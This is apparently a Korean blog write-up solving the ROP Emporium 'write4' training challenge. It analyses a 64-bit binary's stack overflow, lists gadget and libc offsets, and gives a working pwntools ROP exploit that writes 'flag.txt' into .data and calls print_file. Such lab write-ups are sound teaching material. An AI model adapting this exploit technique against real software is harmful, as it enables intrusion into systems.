[ROP Emporium] write4
System/PWNABLE

[ROP Emporium] write4

728x90

checksec

64bit

NX bit 걸려있음

 

Pseudo Code

main()함수 pseudo code
pwnme()함수 pseudo code

disassembler code를 확인해보면 (한 번 실행을 하고 disassemble 해야 이런 코드가 뜬다)

pwnme+36 setvbuf
pwnme+48
pwnme+60
pwnme+82 memset

0x20 byte만큼 

pwnme+94
pwnme+133 read

buf에서 200byte만큼 read함수를 통해 읽는다.

(+)

실행 전 print_file
실행하고 난 후 print_file

file을 인자로 전달해 exit함수를 우회해야한다. >> "flag.txt" 사용

(+)

buf의 크기

buffer에 할당된 buf의 크기(RSP): 0x38 byte >> OVERFLOW 발생

 

실행

 

Payload 작성

libc leak

print_file 함수를 이용해 libc_base를 구하기

print_file - libc offset

여러 가지 offset 구하기

system - libc = 0x453a0

puts - system = 0x2a300

puts - libc = 0x6f6a0

/bin/sh - libc =  0x18ce17

gadget 찾기

one_gadget

one_gadget: 0x45226 (gadget+binsh+system) offset

rp++

pop_rdi: 0x400693

 

usefulGadgets
usefulGadgets

mov [r14], r15: r15의 값을 r14라는 주소 공간 영역에 값을 옮겨 적음

이 함수에 인자를 전달하기 위해 필요한 가젯: pop r14 ; pop r15 ; ret ;

pop r14 ; pop 15 ; ret

pop r14 ; pop r15 ; ret ; = 0x400690

 

쓰기 가능한 공간

writable area

writableArea = 0x00601000 ~ 0x00602000

.data = data를 쓸 수 있는 영역 >> 0x601028

 

writableArea=0x601028

 

 

exploit

**usefulGadgets 함수 활용**

목표는 flag를 따는 것이기 때문에 flag가 출력되는 것을 성공으로 한다

from pwn import *

#context.log_level = 'debug'
p = process("./write4")
elf = ELF("./write4")

pop_rdi = 0x400693
pop_r14_r15 = 0x400690
mov_r = 0x400628
writableArea=0x601028

print_file_plt = elf.plt['print_file']

#gdb.attach(p)
pl = "A"*(0x20 + 8)
pl += p64(pop_r14_r15)
pl += p64(writableArea)
pl += "flag.txt"
pl += p64(mov_r)

pl += p64(pop_rdi)
pl += p64(writableArea)
pl += p64(print_file_plt)

log.info("print file@plt: " + hex(print_file_plt))

p.sendlineafter("> ", pl)

p.interactive()

!성공!

 

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] look at me  (0) 2020.08.02
gets_  (0) 2020.08.01
[HackCTF] pwning  (0) 2020.07.18
BaskinRobins31  (0) 2020.07.12
r0pbaby  (0) 2020.07.12